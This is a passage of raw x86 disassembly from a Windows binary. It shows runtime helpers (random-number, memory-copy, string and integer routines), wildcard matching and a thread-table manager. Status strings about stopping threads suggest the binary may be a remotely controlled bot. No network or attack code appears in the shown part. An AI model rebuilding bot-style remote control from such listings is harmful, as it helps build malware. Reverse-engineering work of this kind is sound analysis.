bp-based frame sub_41518E proc near ; CODE XREF: sub_40CE55+1CC9p ; sub_40CE55+1D37p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43F52C loc_4151A2: ; CODE XREF: sub_41518E+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_4151C4 test edi, edi jle short loc_4151B6 cmp [esi], edi jz short loc_4151B6 cmp ebx, edi jnz short loc_4151C4 loc_4151B6: ; CODE XREF: sub_41518E+1Ej ; sub_41518E+22j push ebx call sub_4150CE test eax, eax pop ecx jz short loc_4151C4 inc [ebp+var_4] loc_4151C4: ; CODE XREF: sub_41518E+1Aj ; sub_41518E+26j ... add esi, 234h inc ebx cmp esi, offset dword_468A1C jl short loc_4151A2 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41518E endp ; =============== S U B R O U T I N E ======================================= sub_4151DB proc near ; CODE XREF: sub_4071FF+Bp ; sub_407276+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43F528 loc_4151E2: ; CODE XREF: sub_4151DB+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_4151EB inc eax loc_4151EB: ; CODE XREF: sub_4151DB+Dj add ecx, 234h cmp ecx, offset dword_468A18 jl short loc_4151E2 retn sub_4151DB endp ; =============== S U B R O U T I N E ======================================= sub_4151FA proc near ; CODE XREF: sub_40CE55+50EBp arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43F528 loc_415204: ; CODE XREF: sub_4151FA+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_41521D add ecx, 234h inc edx cmp ecx, offset dword_468A18 jl short loc_415204 pop esi retn ; --------------------------------------------------------------------------- loc_41521D: ; CODE XREF: sub_4151FA+10j mov eax, edx pop esi retn sub_4151FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415221 proc near ; CODE XREF: sub_40CE55+1062p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_41523A push [ebp+arg_1C] call sub_415A5F pop ecx loc_41523A: ; CODE XREF: sub_415221+Ej push eax push [ebp+arg_18] call sub_41518E pop ecx test eax, eax pop ecx jle short loc_415266 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4154E7 add esp, 14h jmp short loc_415280 ; --------------------------------------------------------------------------- loc_415266: ; CODE XREF: sub_415221+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4154E7 add esp, 10h loc_415280: ; CODE XREF: sub_415221+43j cmp [ebp+arg_C], 0 jnz short loc_4152A0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_4152A0: ; CODE XREF: sub_415221+63j lea eax, [ebp+var_200] push eax call sub_40B16D pop ecx leave retn sub_415221 endp ; =============== S U B R O U T I N E ======================================= sub_4152AF proc near ; CODE XREF: sub_401000+A2p ; sub_401447+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43F53C[eax], ecx mov dword_43F528[eax], ecx mov dword_43F52C[eax], ecx mov dword_43F530[eax], ecx mov dword_43F534[eax], ecx mov dword_43F538[eax], ecx mov byte ptr dword_43F328[eax], cl mov byte_43F540[eax], cl retn sub_4152AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152EC proc near ; CODE XREF: sub_40CE55+5BF6p ; sub_41541A+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4152F6: ; CODE XREF: sub_4152EC+68j mov cl, [esi] test cl, cl jz short loc_415356 cmp eax, 1 jnz short loc_415356 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_415356 cmp cl, 2Ah jz short loc_41533D cmp cl, 3Fh jz short loc_415320 cmp cl, 5Bh jz short loc_415325 xor eax, eax cmp cl, dl setz al loc_415320: ; CODE XREF: sub_4152EC+26j inc [ebp+arg_4] jmp short loc_415350 ; --------------------------------------------------------------------------- loc_415325: ; CODE XREF: sub_4152EC+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_415382 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_415350 ; --------------------------------------------------------------------------- loc_41533D: ; CODE XREF: sub_4152EC+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_41541A mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_415350: ; CODE XREF: sub_4152EC+37j ; sub_4152EC+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4152F6 ; --------------------------------------------------------------------------- loc_415356: ; CODE XREF: sub_4152EC+Ej ; sub_4152EC+13j ... cmp byte ptr [esi], 2Ah jnz short loc_415366 cmp eax, 1 jnz short loc_41537D inc esi mov [ebp+arg_0], esi jmp short loc_415356 ; --------------------------------------------------------------------------- loc_415366: ; CODE XREF: sub_4152EC+6Dj cmp eax, 1 jnz short loc_41537D mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_41537D cmp byte ptr [esi], 0 jnz short loc_41537D push 1 pop eax jmp short loc_41537F ; --------------------------------------------------------------------------- loc_41537D: ; CODE XREF: sub_4152EC+72j ; sub_4152EC+7Dj ... xor eax, eax loc_41537F: ; CODE XREF: sub_4152EC+8Fj pop esi pop ebp retn sub_4152EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415382 proc near ; CODE XREF: sub_4152EC+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_4153A3 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_4153A3: ; CODE XREF: sub_415382+19j push ebx push esi loc_4153A5: ; CODE XREF: sub_415382+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_4153B3 cmp [ebp+var_4], eax jnz short loc_4153FF loc_4153B3: ; CODE XREF: sub_415382+2Aj test edi, edi jnz short loc_4153F4 cmp bl, 2Dh jnz short loc_4153E8 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4153E8 cmp al, 5Dh jz short loc_4153E8 cmp [ebp+var_4], edi jnz short loc_4153E8 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4153F4 cmp bl, al jg short loc_4153F4 push 1 mov [edx], esi pop edi jmp short loc_4153F4 ; --------------------------------------------------------------------------- loc_4153E8: ; CODE XREF: sub_415382+38j ; sub_415382+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4153F4 push 1 pop edi loc_4153F4: ; CODE XREF: sub_415382+33j ; sub_415382+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_4153A5 ; --------------------------------------------------------------------------- loc_4153FF: ; CODE XREF: sub_415382+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_41540C mov ecx, eax sub ecx, edi mov edi, ecx loc_41540C: ; CODE XREF: sub_415382+82j cmp edi, eax jnz short loc_415415 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_415415: ; CODE XREF: sub_415382+8Cj mov eax, edi pop edi leave retn sub_415382 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41541A proc near ; CODE XREF: sub_4152EC+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_415436: ; CODE XREF: sub_41541A+3Aj cmp [eax], bl jz short loc_415456 mov cl, [ecx] cmp cl, 3Fh jz short loc_41544B cmp cl, 2Ah jnz short loc_415456 cmp cl, 3Fh jnz short loc_41544E loc_41544B: ; CODE XREF: sub_41541A+25j inc eax mov [edi], eax loc_41544E: ; CODE XREF: sub_41541A+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_415436 ; --------------------------------------------------------------------------- loc_415456: ; CODE XREF: sub_41541A+1Ej ; sub_41541A+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_415461 inc dword ptr [esi] jmp short loc_415456 ; --------------------------------------------------------------------------- loc_415461: ; CODE XREF: sub_41541A+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_415482 mov edx, [esi] cmp [edx], bl jz short loc_415473 xor eax, eax jmp short loc_4154E2 ; --------------------------------------------------------------------------- loc_415473: ; CODE XREF: sub_41541A+53j cmp cl, bl jnz short loc_415482 mov ecx, [esi] cmp [ecx], bl jnz short loc_415482 push 1 pop eax jmp short loc_4154E2 ; --------------------------------------------------------------------------- loc_415482: ; CODE XREF: sub_41541A+4Dj ; sub_41541A+5Bj ... push eax push dword ptr [esi] call sub_4152EC pop ecx test eax, eax pop ecx jnz short loc_4154CC loc_415490: ; CODE XREF: sub_41541A+B0j inc dword ptr [edi] mov eax, [edi] loc_415494: ; CODE XREF: sub_41541A+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_4154AC cmp cl, 5Bh jz short loc_4154AC cmp dl, bl jz short loc_4154AC inc eax mov [edi], eax jmp short loc_415494 ; --------------------------------------------------------------------------- loc_4154AC: ; CODE XREF: sub_41541A+82j ; sub_41541A+87j ... mov eax, [edi] cmp [eax], bl jz short loc_4154C3 push eax push dword ptr [esi] call sub_4152EC neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4154C8 ; --------------------------------------------------------------------------- loc_4154C3: ; CODE XREF: sub_41541A+96j mov [ebp+var_4], ebx xor eax, eax loc_4154C8: ; CODE XREF: sub_41541A+A7j cmp eax, ebx jnz short loc_415490 loc_4154CC: ; CODE XREF: sub_41541A+74j mov eax, [edi] cmp [eax], bl jnz short loc_4154DF mov eax, [esi] cmp [eax], bl jnz short loc_4154DF mov [ebp+var_4], 1 loc_4154DF: ; CODE XREF: sub_41541A+B6j ; sub_41541A+BCj mov eax, [ebp+var_4] loc_4154E2: ; CODE XREF: sub_41541A+57j ; sub_41541A+66j pop edi pop esi pop ebx leave retn sub_41541A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4154E7 proc near ; CODE XREF: sub_401000+61p ; sub_4010B2+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_417D4C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_415527 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_415534 ; --------------------------------------------------------------------------- loc_415527: ; CODE XREF: sub_4154E7+36j lea eax, [ebp+var_20] push eax push 0 call sub_417C37 pop ecx pop ecx loc_415534: ; CODE XREF: sub_4154E7+3Ej mov eax, esi pop esi leave retn sub_4154E7 endp ; =============== S U B R O U T I N E ======================================= sub_415539 proc near ; CODE XREF: sub_401000+2Ep ; sub_401BD6+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_437D20, eax retn sub_415539 endp ; =============== S U B R O U T I N E ======================================= sub_415543 proc near ; CODE XREF: sub_4010B2+CBp ; sub_4010B2+13Fp ... mov eax, dword_437D20 imul eax, 343FDh add eax, 269EC3h mov dword_437D20, eax sar eax, 10h and eax, 7FFFh retn sub_415543 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415570 proc near ; CODE XREF: sub_4010B2+281p ; sub_401447+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4155C3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4155B7 neg ecx and ecx, 3 jz short loc_415599 sub edx, ecx loc_415593: ; CODE XREF: sub_415570+27j mov [edi], al inc edi dec ecx jnz short loc_415593 loc_415599: ; CODE XREF: sub_415570+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4155B7 rep stosd test edx, edx jz short loc_4155BD loc_4155B7: ; CODE XREF: sub_415570+18j ; sub_415570+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4155B7 loc_4155BD: ; CODE XREF: sub_415570+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4155C3: ; CODE XREF: sub_415570+Aj mov eax, [esp+arg_0] retn sub_415570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155D0 proc near ; CODE XREF: sub_4010B2+22Dp ; sub_4010B2+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4155F0 cmp edi, eax jb loc_415768 loc_4155F0: ; CODE XREF: sub_4155D0+16j test edi, 3 jnz short loc_41560C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41562C rep movsd jmp off_415718[edx*4] ; --------------------------------------------------------------------------- loc_41560C: ; CODE XREF: sub_4155D0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_415624 and eax, 3 add ecx, eax jmp dword ptr loc_41562C+4[eax*4] ; --------------------------------------------------------------------------- loc_415624: ; CODE XREF: sub_4155D0+46j jmp dword ptr loc_415728[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41562C: ; CODE XREF: sub_4155D0+31j ; sub_4155D0+8Ej ... jmp off_4156AC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415640 dd offset loc_41566C dd offset loc_415690 ; --------------------------------------------------------------------------- loc_415640: ; DATA XREF: sub_4155D0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41562C rep movsd jmp off_415718[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41566C: ; DATA XREF: sub_4155D0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41562C rep movsd jmp off_415718[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415690: ; DATA XREF: sub_4155D0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41562C rep movsd jmp off_415718[edx*4] ; --------------------------------------------------------------------------- align 4 off_4156AC dd offset loc_41570F ; DATA XREF: sub_4155D0:loc_41562Cr dd offset loc_4156FC dd offset loc_4156F4 dd offset loc_4156EC dd offset loc_4156E4 dd offset loc_4156DC dd offset loc_4156D4 dd offset loc_4156CC ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4156D4: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4156DC: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4156E4: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4156EC: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4156F4: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4156FC: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41570F: ; CODE XREF: sub_4155D0:loc_41562Cj ; DATA XREF: sub_4155D0:off_4156ACo jmp off_415718[edx*4] ; --------------------------------------------------------------------------- align 4 off_415718 dd offset loc_415728 ; DATA XREF: sub_4155D0+35r ; sub_4155D0+92r ... dd offset loc_415730 dd offset loc_41573C dd offset loc_415750 ; --------------------------------------------------------------------------- loc_415728: ; CODE XREF: sub_4155D0+35j ; sub_4155D0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_415730: ; CODE XREF: sub_4155D0+35j ; sub_4155D0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41573C: ; CODE XREF: sub_4155D0+35j ; sub_4155D0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_415750: ; CODE XREF: sub_4155D0+35j ; sub_4155D0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415768: ; CODE XREF: sub_4155D0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41579C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_415790 std rep movsd cld jmp off_4158B0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415790: ; CODE XREF: sub_4155D0+1B1j ; sub_4155D0+208j ... neg ecx jmp off_415860[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41579C: ; CODE XREF: sub_4155D0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4157B4 and eax, 3 sub ecx, eax jmp dword ptr loc_4157B4+4[eax*4] ; --------------------------------------------------------------------------- loc_4157B4: ; CODE XREF: sub_4155D0+1D6j ; DATA XREF: sub_4155D0+1DDr jmp off_4158B0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4157C7+1 dd offset loc_4157E8 ; --------------------------------------------------------------------------- adc [eax+41h], bl loc_4157C7: ; DATA XREF: sub_4155D0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_415790 std rep movsd cld jmp off_4158B0[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4157E8: ; DATA XREF: sub_4155D0+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_415790 std rep movsd cld jmp off_4158B0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_415790 std rep movsd cld jmp off_4158B0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415864 dd offset loc_41586C dd offset loc_415874 dd offset loc_41587C dd offset loc_415884 dd offset loc_41588C dd offset loc_415894 off_415860 dd offset loc_4158A7 ; DATA XREF: sub_4155D0+1C2r ; --------------------------------------------------------------------------- loc_415864: ; DATA XREF: sub_4155D0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41586C: ; DATA XREF: sub_4155D0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_415874: ; DATA XREF: sub_4155D0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41587C: ; DATA XREF: sub_4155D0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_415884: ; DATA XREF: sub_4155D0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41588C: ; DATA XREF: sub_4155D0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_415894: ; DATA XREF: sub_4155D0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4158A7: ; CODE XREF: sub_4155D0+1C2j ; DATA XREF: sub_4155D0:off_415860o jmp off_4158B0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4158B0 dd offset loc_4158C0 ; DATA XREF: sub_4155D0+1B7r ; sub_4155D0:loc_4157B4r ... dd offset loc_4158C8 dd offset loc_4158D8 dd offset loc_4158EC ; --------------------------------------------------------------------------- loc_4158C0: ; CODE XREF: sub_4155D0+1B7j ; sub_4155D0:loc_4157B4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4158C8: ; CODE XREF: sub_4155D0+1B7j ; sub_4155D0:loc_4157B4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4158D8: ; CODE XREF: sub_4155D0+1B7j ; sub_4155D0:loc_4157B4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4158EC: ; CODE XREF: sub_4155D0+1B7j ; sub_4155D0:loc_4157B4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4155D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415910 proc near ; CODE XREF: sub_4010B2+FCp ; sub_4010B2+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41595C loc_415920: ; CODE XREF: sub_415910+3Cj ; sub_415910+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_415954 or al, al jz short loc_415950 cmp ah, [ecx+1] jnz short loc_415954 or ah, ah jz short loc_415950 shr eax, 10h cmp al, [ecx+2] jnz short loc_415954 or al, al jz short loc_415950 cmp ah, [ecx+3] jnz short loc_415954 add ecx, 4 add edx, 4 or ah, ah jnz short loc_415920 mov edi, edi loc_415950: ; CODE XREF: sub_415910+18j ; sub_415910+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_415954: ; CODE XREF: sub_415910+14j ; sub_415910+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41595C: ; CODE XREF: sub_415910+Ej test edx, 1 jz short loc_415978 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_415954 inc ecx or al, al jz short loc_415950 test edx, 2 jz short loc_415920 loc_415978: ; CODE XREF: sub_415910+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_415954 or al, al jz short loc_415950 cmp ah, [ecx+1] jnz short loc_415954 or ah, ah jz short loc_415950 add ecx, 2 jmp short loc_415920 sub_415910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4159A0 proc near ; CODE XREF: sub_4010B2+19Ep ; sub_4018CA+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_4159B9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4159B9: ; CODE XREF: sub_4159A0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_4159A0 endp ; =============== S U B R O U T I N E ======================================= sub_4159D4 proc near ; CODE XREF: sub_415A5F+4p ; sub_41E162+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_4159DC: ; CODE XREF: sub_4159D4+34j cmp dword_437F7C, 1 jle short loc_4159F4 movzx eax, byte ptr [edi] push 8 push eax call sub_418556 pop ecx pop ecx jmp short loc_415A03 ; --------------------------------------------------------------------------- loc_4159F4: ; CODE XREF: sub_4159D4+Fj movzx eax, byte ptr [edi] mov ecx, off_437D70 mov al, [ecx+eax*2] and eax, 8 loc_415A03: ; CODE XREF: sub_4159D4+1Ej test eax, eax jz short loc_415A0A inc edi jmp short loc_4159DC ; --------------------------------------------------------------------------- loc_415A0A: ; CODE XREF: sub_4159D4+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_415A1A cmp esi, 2Bh jnz short loc_415A1E loc_415A1A: ; CODE XREF: sub_4159D4+3Fj movzx esi, byte ptr [edi] inc edi loc_415A1E: ; CODE XREF: sub_4159D4+44j xor ebx, ebx loc_415A20: ; CODE XREF: sub_4159D4+7Bj cmp dword_437F7C, 1 jle short loc_415A35 push 4 push esi call sub_418556 pop ecx pop ecx jmp short loc_415A40 ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_4159D4+53j mov eax, off_437D70 mov al, [eax+esi*2] and eax, 4 loc_415A40: ; CODE XREF: sub_4159D4+5Fj test eax, eax jz short loc_415A51 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_415A20 ; --------------------------------------------------------------------------- loc_415A51: ; CODE XREF: sub_4159D4+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_415A5A neg eax loc_415A5A: ; CODE XREF: sub_4159D4+82j pop edi pop esi pop ebp pop ebx retn sub_4159D4 endp ; =============== S U B R O U T I N E ======================================= sub_415A5F proc near ; CODE XREF: sub_4013E9+12p ; sub_4013E9+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4159D4 pop ecx retn sub_415A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A6A proc near ; CODE XREF: sub_401447+318p ; sub_401BD6+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_417D4C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_415AA9 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_415AB6 ; --------------------------------------------------------------------------- loc_415AA9: ; CODE XREF: sub_415A6A+35j lea eax, [ebp+var_20] push eax push 0 call sub_417C37 pop ecx pop ecx loc_415AB6: ; CODE XREF: sub_415A6A+3Dj mov eax, esi pop esi leave retn sub_415A6A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415AC0 proc near ; CODE XREF: sub_401BD6+2D8p ; sub_401BD6+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_415B3A mov dh, [ecx+1] test dh, dh jz short loc_415B27 loc_415AD8: ; CODE XREF: sub_415AC0+52j ; sub_415AC0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_415AFA test al, al jz short loc_415AF4 loc_415AE9: ; CODE XREF: sub_415AC0+32j mov al, [esi] inc esi loc_415AEC: ; CODE XREF: sub_415AC0+3Fj cmp al, dl jz short loc_415AFA test al, al jnz short loc_415AE9 